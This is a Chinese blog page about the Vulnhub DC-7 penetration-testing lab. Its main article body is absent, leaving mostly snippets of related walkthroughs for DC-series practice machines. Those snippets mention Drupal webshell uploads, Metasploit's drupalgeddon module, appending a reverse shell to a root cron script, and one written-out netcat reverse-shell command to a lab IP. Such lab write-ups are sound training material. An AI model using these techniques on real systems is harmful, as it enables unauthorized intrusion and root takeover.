十一 Vulnhub靶机实战——DC-7

最新推荐文章于 2025-01-09 10:26:58 发布
转载 最新推荐文章于 2025-01-09 10:26:58 发布 · 253 阅读 · 0 ·
CC 4.0 BY-SA版权
原文链接：https://www.cnblogs.com/ph1sh/p/12150346.html

本文详细介绍了在 Vulnhub 平台上进行 DC-7 靶机实战的过程，包括渗透测试的各个阶段，如信息收集、漏洞利用、权限提升等，为读者提供了丰富的实践经验和技巧。
Vulnhub靶机实战——DC-7
冠霖L的博客
10-29 5316
靶机DC-7下载地址：https://download.vulnhub.com/dc/DC-7.zip 环境：VMware 15虚拟机软件 DC-7靶机IP地址：192.168.220.154 Kali的IP地址：192.168.220.155 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.155...
Vulnhub靶机实战——DC-4
冠霖L的博客
09-27 3362
靶机DC-4下载地址：https://download.vulnhub.com/dc/DC-4.zip 描述：从靶机DC-3开始，只有一个入口和一个最终的flag，只有拿到root权限才可以发现最终的flag，DC-4也是一样 环境：Vmware 15 Pro虚拟机软件 DC-4靶机IP地址：192.168.220.138 Kali的IP地址：...
VulnHub—DC-7
weixin_39219503的博客
02-02 579
01 环境搭建 靶机环境下载：https://www.vulnhub.com/entry/dc-7,356/ 题目信息如下 Description DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. W...
Vulnhub DC-7
Pai_Space
03-26 5620
明确：《中华人民共和国网络安全法》 Description DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. While this isn't an overly technical challenge, it isn't exactly easy. While it's kind of a logic..
vulnhub渗透测试靶机DC-7
weixin_46128614的博客
01-19 572
下载地址：https://www.vulnhub.com/entry/dc-7,356/ nmap -sT -sV -p- -T5 192.168.49.21 我们进到80端口，作者提示我们不是爆破和字典攻击，让我们跳出box 在左下角留了一个用户，应该是Twitter的，老外都爱用Twitter 果然 我们把github上的内容下载下来，查看到了一个配置文件给到了一个账号和密码 dc7u...
Vulnhub靶机渗透-DC7
XYZCG的博客
04-26 1000
访问https://www.drupal.org/project/php/releases/8.x-1.1下载tar.gz类型的包，在Extend模块下进行安装并启用，回到Content模块新建页面写入。往脚本内写入反弹shell，监听相关端口等待一段挺长的时间后定时任务触发，拿到权限（我这里用了同样的端口所以得先退出当前www-data的shell）这段文本是一个电子邮件通知，具体是由系统上的cron守护程序（定时任务）发送的。如果目录不存在，你会收到一个错误消息，就像你在电子邮件通知中看到的那样。
Vulnhub靶机渗透测试——DC-1
Cobra的博客
04-12 2727
Vulnhub靶机渗透测试实战——DC-1 一、实验环境 攻击机（kali）: 192.168.189.148 靶机（ubuntu）: 192.168.189.172] 二、信息收集 1、使用nmap扫描进行主机发现 nmap 192.168.189.0/24 2、发现IP为192.168.189.172主机开放80和22等端口，访问其80端口 三、漏洞利用 1、发现该站点是由Drupal搭建，利用msf进行漏洞利用 use exploit/unix/webapp/drupal_drupalgedd
vulnhub靶机渗透DC-5
RestoreJustice的博客
03-17 308
前面收集信息，我们知道靶机使用nginx站点，nginx日志默认路径为/var/log/nginx/access.log。直接访问：http://192.168.80.134/%3C?反弹shell到kail中：nc -e /bin/bash/ 192.168.80.130 10086，然后利用python反弹，获得交互式shell，方便使用：python -c ‘import pty;这里连接到虚拟网卡1。下载地址：https://www.vulnhub.com/entry/dc-5,314/
Vulnhub靶机实战——DC-5
冠霖L的博客
10-27 5224
靶机DC-5下载地址：https://download.vulnhub.com/dc/DC-5.zip 环境：VMware 15虚拟机软件 DC-5靶机IP地址：192.168.220.139 Kali的IP地址：192.168.220.145 DC-5靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.145 ...
Vulnhub靶机--DC7
Tauil的博客
08-04 360
使用该账户密码在页面登陆不了，但是我们前期主机发现可以看到该靶机打开ssh端口，使用ssh登陆靶机，成功登陆后进来就提示有一封邮件，邮件地址在 /var/mail/dc7user 发现该邮件记录了一个定时任务脚本，完成它上面固定的任务，而且还是使用 root 用户执行的，改脚本位置也可以清晰地看到在 /opt/scripts/backups.sh。然后就能搜索到该用户库，可以在这个staffdb发现该数据内容就是这个靶机网页的源码，我们在config.php处看到了用户名以及密码。......
Vulnhub靶机DC系列-DC-7
m0_54525483的博客
01-07 1518
Vulnhub靶机DC系列-DC-7 靶场名称：DC-7 靶场地址：https://www.vulnhub.com/entry/dc-7,356/ 下载地址： ** DC-7.zip (Size: 939 MB) Download: http://www.five86.com/downloads/DC-7.zip Download (Mirror): https://download.vulnhub.com/dc/DC-7.zip Download (Torrent): https://download.v
Vulnhub靶机：DC7
qq_48904485的博客
02-17 1120
运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：DC7（10.0.2.60）目标：获取靶机root权限和flag靶机下载地址：https://download.vulnhub.com/dc/DC-7.zip。
【Vulnhub靶场】DC-7
good good study day day up
10-30 1463
DC-7靶场渗透测试过程，drush命令修改密码，反弹shell提权
vulnhub之DC7靶机
LainWith的博客
02-14 1597
目录介绍信息收集主机发现主机信息探测访问网站SSH登录信息收集修改web后台密码挂马提权 介绍 系列： DC（此系列共10台） 发布日期：2019年8月31日 难度：中级 Flag：获取root权限，并拿到唯一的flag 学习： drupal安装php实现挂马 提权 靶机地址：https://www.vulnhub.com/entry/dc-7,356/ 从靶场得到提示信息： 靶机更适用Virtualbox 不要尝试爆破，很难成功 信息收集 主机发现 netdiscover主机发现 对于VulnHu
Vulnhub靶场实战---DC-7
一期一会的博客
01-18 3712
0x00 环境准备 1.靶场下载官网地址 https://www.vulnhub.com/entry/dc-7,356/ 2.下载完成以后直接导入vm，kali，靶机均使用均使用NAT模式连接， 攻击机：kali 192.168.88.130 靶机：DC-7 192.168.88.133 0x01 信息收集 1.探测88网段主机，使用nmap扫描。 -sn Ping探测扫描主机，不进行端口扫描（测试过对方主机把icmp包都丢弃掉，依然能检测到对方开机状态） -sp 进行Ping扫描 -sA
vulnhub靶场【DC系列】之7
后台模板
01-09 954
DC-7，IP地址为kali，IP地址为都采用VMWare，网卡为桥接模式对于信息收集时，源码泄露能否会寻找，这里是通过一个作者名搜索到gihub的项目对于提权时，发现的东西都要去试一试，这里先测试exim4不行后，再下手脚本文件对于脚本文件的所属者和所属组要搞清楚，这里dc7user不属于www-data组，所以还需要获取www-data用户的反弹shell，那么就需要从网站下手对于drush和drupal是配合使用的，所以简单了解drush的增删改查即可drupal 8。
靶场练习第十五天~vulnhub靶场之dc-7
qq_57976347的博客
02-14 545
一、准备工作 kali和靶机都选择NAT模式（kali与靶机同网段） 1.靶场环境 下载链接:https://download.vulnhub.com/dc/DC-7.zip 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 （1）扫描靶机开放的端口及其服务 nmap -A -p- 192.168.101.120 2.网站的信息收集 （1）靶机开放了80端口,先
VulnHub靶机 DC-7 打靶 渗透详细流程
网络空间安全学习
04-22 1534
主机发现—端口扫描—目录爆破发现后台—服务探测—白盒测试（源码当中找配置文件）—ssh远程登录—邮件信息—找到备份文件脚本—发现脚本当中的drush命令—修改后台密码—进入后台—寻找可代码执行或getshell地方—drupal8不允许执行命令（模块）—下载新的插件—getshell—反弹shell—追加反弹命令—提权即可。由于我们上一步骤已经得到了backups.sh脚本属主为root，属组为www-data，所以我们将反弹shell命令添加到脚本当中，等待执行脚本反弹shell即可得到root权限。
Vulnhub靶机:DC-7渗透详细过程
IerkeU的博客
03-20 1270
DC-7 前言提要 这个靶机有用到社工~，还是蛮有趣的 靶场地址：https://www.vulnhub.com/entry/dc-7,356/ DC-7是一个中级的靶场，需要具备以下前置知识： 基础的Linux命令及操作 基础的渗透测试工具使用（Kali / Parrot下的工具） 翻译一下官方给出的一些信息： 这个靶场需要具备中级的渗透测试技巧，这并不是一个很有技术性的挑战，但也不能算容易。渗透测试的和之前的 DC 靶机（哪一台就不知道了）有相似的地方，但会涉及到一些新东西，你的最终目标是放在roo
vulnhub靶机dc-1
最新发布
01-11
### VulnHub DC-1 靶机 攻略 介绍 下载 #### 关于DC-1靶机 VulnHub上的DC-1靶机旨在提供给安全爱好者和渗透测试学习者一个实践平台，在此环境中可以合法地进行各种攻击尝试，从而提升技能。该虚拟环境模拟了一个...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值